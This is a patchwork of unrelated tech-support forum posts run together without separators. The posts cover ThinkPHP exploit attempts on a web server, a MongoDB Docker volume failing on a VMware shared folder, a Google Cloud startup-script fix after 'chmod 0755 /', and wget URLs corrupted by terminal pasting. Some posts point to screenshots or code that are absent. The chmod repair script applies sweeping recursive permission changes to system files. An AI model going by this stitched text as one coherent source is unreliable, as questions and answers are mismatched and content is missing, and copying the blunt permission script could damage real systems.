Anyone else experiencing nonstop thonkphp exploit attempts right now? I turned on my webserver and got bombarded with like 20 of them within 5 minutes...

I expect the container start successfully. But i got failure with :IllegalOperation: Attempted to create a lock file on a read-only directory: /data/db, terminating
If i remove volumes sections, It works!
The host is ubuntu18.04, and /data is writeable!
I had solved my problem le 老铁!
AS i use vmware to start an Ubuntu server, and shared a folder with windows 7. The container volume on the shared folder.
check the inspect information of the mongodb container.
"Mounts": [
{
"Type": "bind",
"Source": "/mnt/hgfs/ubuntu/dockers/data/mongodb/configdb",
"Destination": "/data/configdb",
"Mode": "rw",
"RW": true,
"Propagation": "rprivate"
},
{
"Type": "bind",
"Source": "/mnt/hgfs/ubuntu/dockers/data/mongodb/db",
"Destination": "/data/db",
"Mode": "rw",
"RW": true,
"Propagation": "rprivate"
}
],
the Source contains string "/mnt/hgfs/ubuntu" tell us: It shared folder!
I accidently chmodded the / 0755 folder, i can´t access on SSH, Filezilla, SFTP, or via Google CLoud command to my instance, i would like to know what to do on this situation.
Thanks !
Fix using Google Metadata Startup Script
https://cloud.google.com/compute/docs/startupscript
Create a script and add it to the Metadata:
chmod -R go-w /
chmod 440 /etc/sudoers
chmod 640 /etc/shadow /etc/gshadow
chmod 600 /etc/ssh/*_key /etc/ssh*key # whichever matches
chmod 710 /etc/ssl/private /etc/cups/ssl
chmod 1777 /tmp /var/tmp /var/lock
chmod 4755 /bin/su /usr/bin/passwd /usr/bin/sudo /usr/bin/sudoedit
chmod 2755 /var/mail /var/spool/mail
Restart server and voilá !
I wanted to write a little script using wget to get some files. I was using the direct URL and everything seemed to work nice. After the script finished its work I checked the directories for the files and some were missing. I took a closer look at the terminal and I found that wget somehow managed to change the source URL. It either just typed some random characters or it changed 4 characters from the original URL to wget.
Here's a screen so you know what I mean:
Is this a known problem?
I tried wget with several added options none of them worked for me:
wget
wget -c
wget -r -np -nc --restrict-file-names=nocontrol
If you need to have a closer look at the whole source code, here it is:

Thank you very much.
The corruption is happening in your terminal window, long before wget sees any command.
Corruption is very common when you do large copy-and-paste operations into terminal sessions running bash. Copy and paste doesn't play well with the way bash reads from the terminal.
You should run your script file directly, using the source command (also called .), or by starting a subshell.
